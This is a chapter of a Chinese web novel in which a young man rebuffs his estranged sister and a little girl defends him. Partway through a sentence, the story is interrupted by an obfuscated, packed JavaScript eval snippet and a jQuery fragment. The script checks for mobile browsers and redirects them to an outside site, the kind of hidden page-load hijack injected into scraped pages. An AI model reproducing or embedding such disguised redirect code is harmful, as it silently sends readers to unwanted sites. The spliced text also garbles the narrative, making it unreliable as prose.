“你…你记起来了?”
谢令仪的声音微微发颤,看得一旁的清溪两兄妹疑惑不已,谢听澜只是轻笑一声,只当没听到这句话,淡淡道:“蒋夫人还是进来说吧,你今日应该不想再继续丢人了吧?”
一句话说的谢令仪脸色青白一片,踌躇片刻,咬咬牙还是让不情不愿的仆妇留在外面,孤身一人走进兰亭居。
那副模样,颇有几分视死如归的气质,清溪翻个白眼,跑到门口露了脸之后才将门关上。
自从天下一统之后,前朝的一些礼仪道德不可避免地侵蚀了大雍风气,搞得一部分拿男女大防羞辱人,为了防止有心人胡乱造谣,她必须露个脸将所有谣言的源头掐灭。
好在刚才看热闹的人并未散去,清溪大摇大摆的露脸被许多人看到,跟相熟的夫人小姐挥手打招呼后,对跟着谢令仪的仆妇做了个鬼脸,气哼哼地关上门。
刚站好就察觉到谢听澜的目光始终在她身上,一个眼神都没给谢令仪,就好像与他有话要谈的人是清溪一般。
清溪对这样的目光习以为常,只是歪着头疑惑谢听澜为何总盯着她看,那眼神,就好像很久没有见到她似的,让人心头发酸。
室内一片沉寂,谢令仪似乎十分不安,挪动身体后对谢听澜挤出和善的微笑。
“听澜,许久未见,你好似长高了不少,听闻你今日住在镇国长公主府,不知生活可还习惯,需要阿姐派人去侍候吗?”
谢听澜仿佛听不见似的,低头专心致志地将手便的点心切成小块,见清溪一脸困惑地走到他身边坐下,便将切好的点心推过去,语气带着温和清冽的诱哄。
“清清尝尝,这个酸酸甜甜正合你的口味。”
清溪说不上来那里不对、但眼前之人的状态明显与之前不一样。
最起码之前的谢听澜不会将点心切成小块,只会在她捧着点心大口吃的时候拿着水和手帕,唇角含笑着随时等带给她擦去嘴角污渍。
莫非是因为谢令仪的缘故?
清溪一边小口啃着谢听澜切好的点心,一边侧头偷瞄因被无视而脸色不好看的谢令仪,心中感慨万千。
不得不承认,谢家的基因是真的不错,无论是谢听澜,还是谢令仪,就连讨人厌的谢渊都生的一副好皮囊。
谢令仪有求于人,被忽略也只能勉强挤出笑容。
“听澜,你跟在驸马身边学习,笔墨纸砚是否有缺?若是缺,一定告之阿姐,阿姐让你姐夫准备好给你送去。”
“蒋夫人,你我之间从未有过温情,何必如此惺惺作态?有什么事直说便是。”
谢听澜随意地摆摆手,将果茶的冰块挑出来,重新倒进小杯子中推到清溪面前,说话时眼皮都没有抬一下。
这种丝毫不将人看在眼里的举动连清溪都觉得浑身不在,无关其他,实在是谢令仪的眼神太过灼人。
实在不想谢令仪这样关注,清溪抖抖小身子,从桌上琳琅满目的点心中挑出她最不爱吃的放在碟子上递过去。
“小哥店铺的点心确实好吃,蒋夫人不要羡慕溪溪啦,溪溪分给你这个,溪溪最喜欢啦。”
反正她是小孩子,小孩子撒娇卖萌是常态,谢令仪再不爽也得憋回去。
谢令仪有火也不敢对有身份、有爵位的清溪发,只能默默吞下心中悲愤,强笑道:“多谢县主。”
谢听澜将清溪的小动作尽收眼底,唇角不自觉地微微勾起,又动手切了几块清溪偏爱的奶味点心,放到她跟前。
“听澜,我也是在没有办法,爹娘从小长在英国公府,此番骤然分家,他们极度不适应,又因为心绪不平,已经病倒许久,如今已经瘦成一把骨头,让人看着心疼得紧。”
谢令仪轻叹一声,继续道:“听澜,我知道你怨爹娘对你的忽视,但你们之间终归血脉相连,再多的怨恨也终有化解的一天,祖父如今最心疼你,只要你……”
一声凉薄的笑打断谢令仪的话,室内众人的目光纷纷转向谢听澜。
“啧,不知蒋夫人是以什么身份来劝我的?是亲眼看着我被人推下粪水池的谢令仪,还是怂恿谢渊等人羞辱我后,装模作样来安慰我的‘阿姐’?”
谢令仪脸色巨变,整个人飞快地站起身往后退了好几步,连她坐的椅子都绊倒在地,发出一声沉闷的砸地声,一双娇美的脸上此时只剩惊惧,摇摇地指着谢听澜,半晌憋出一一句话。
“是,是你?”
“自然是我,或者,阿、姐、以为是谁,那个怯懦胆小的可怜虫?”
谢听澜缓缓起身,一步一步走向谢令仪,在清溪兄妹看不到的角落里,脸上的笑容邪肆又疯狂。
“怪物,你这个怪物。”
谢令仪所在的位置在大门右侧,随着谢听澜的步步逼近,谢令仪往只能退到右侧墙壁,因动作太快,此时的她已经退无可退,整个人抖如筛糠,看向谢听澜的眼神带着显而易见的惊惧。
谢听澜仰着头,目光阴郁而疯狂,活像阎罗殿深处爬上来的恶鬼般轻声呢喃。
“是啊,我是怪物,可亲手把我这样的怪物放出来的人,难道不是你们吗?”
长期营养不良导致的身体矮小,谢听澜站在谢令仪面前也依然比她矮上一个头。
此时的他背对着清溪两兄妹,导致两人看不到他的表情,只能将谢令仪血色尽失的脸,以及抖如筛糠的身体尽收眼底。
谢令仪嘴里还惊声喊着“怪物,怪物”之类的字眼。
清溪不知道发生了什么,听到“怪物”两字时,她想起当初英国公寿宴时,谢二夫妻口口声声指着谢听澜说怪物的场景,不满和愤怒的情绪瞬间淹没理智。
短手短脚的小姑娘艰难地爬上椅子,叉着腰,气急败坏地怒视谢令仪。
“你们才是怪物,你们全家都是怪物,要不是你们听澜哥哥也不会受伤,你们这群害了听澜哥哥的人一有什么资格说他是怪物!说怪物,你们才是怪物,你爹娘是管生不管养的怪物,你是毫无亲情的冷血怪物,你们都是怪物!”
清溪气昏了头,一连串暴怒输出让她大脑有些缺氧,眼前一挂花,差点儿栽倒在地,好在一旁殷清淮一直关注着清溪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615297|172204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,见她身体晃动便连忙上前将人抱了下来。
另一边,谢听澜听到清溪的话身子陡然僵住,面上疯狂又邪肆的表情悄悄散去,浮现出一种茫然无措的空白,像是被意料之外之事镇住,半晌回不过神来。
“蒋夫人,谢听澜是我爹爹的亲传弟子,算是我镇国长公主府半个主子,你今日口出狂言羞辱他,本公子记住了,待来日定请爹爹亲自登门找蒋侍郎问个明白,蒋家子媳的教养便是如此不堪?”
“殷小公子,我……”
谢令仪被一连串的变故刺激的头脑一片空白,听到殷清淮提及蒋侍郎之时才勉强回神,有心解释,却没人想听了。
殷清淮冷冷地看了谢令仪一眼,“本公子从不欺辱女子,蒋夫人还是自行离开吧。”
谢令仪显然是还想说什么,目光转向对面低头不语的谢听澜时还是恐惧地吞了吞口水,咬咬牙,飞快转身拉开门就要往外跑。
突然听到身后谢听澜那犹如深渊恶鬼般低沉又毫无温度的声音。
“蒋夫人,以后不要上门找我,不然…呵,想必你不想知晓后果。”
谢令仪身子狠狠一抖,头也不回地抬脚就跑,她带来的仆妇只听到自家夫人一通惊慌失措的尖叫,完全不知发生了何事,
一直守在门外的佟掌柜,满脸茫然地探头进来,视线刚好与正一脸阴沉盯着谢令仪背影的谢听澜对上。
佟掌柜心头蓦然一颤,记忆中这位谢家公子一向温润端方,十足的世家公子,那副恶鬼般阴沉疯狂的眼神放在他身上怎么看怎么违和。
疑心自己错看,佟掌柜使劲儿挤挤眼睛待视线清晰后再次看向谢听澜时,对方已经低下头去,所有的情绪都被掩藏在阴影之下,刚才那个眼神仿佛是他的错觉般。
大概是真的眼花。
佟掌柜疑惑地挠挠脑袋,就被殷清淮的声音牵去心神,再无心考虑其他乱七八糟的事。
“看什么呢,佟雷,你去看看刚才的争执是否有人听见,听到的人找个借口糊弄过去,万不可传出乱七八糟的流言。”
眼见东家和县主都沉着脸,一副心情不妙的样子,佟掌柜连连点头,脚底抹油似地飞快溜走,离开之前还十分体贴地将兰亭居房门关上。
不想干的人都离开,
殷清淮望着谢听澜笔直如青松的身影,长长叹了口气,将怀里扭成麻花的妹妹放下,任由她“哒哒哒”地跑过去抓住谢听澜的手。
谢听澜垂着脑袋望着地板,清溪矮矮小小的个子扬起脑袋刚好看到谢听澜沉静无波的眼睛,两人眸光对上,清溪侧着头甜甜一笑,像初春耀眼温暖的日光,破开云层照进小少年贫瘠匮乏的世界。
“听澜哥哥,没有关系的,那家人不在乎你就算了,你还有我,有娘亲爹爹,有大哥小哥,还有尚在边疆的二姐姐,我们都是你的家人,长公主府也是你的家,不喜欢谢家人,就跟我们一起生活好不好?”
室内陷入久久的寂静,清溪准备使出死皮赖脸卖萌术之际,脑袋上方传来小少年声若蚊蝇的低喃。
“好。”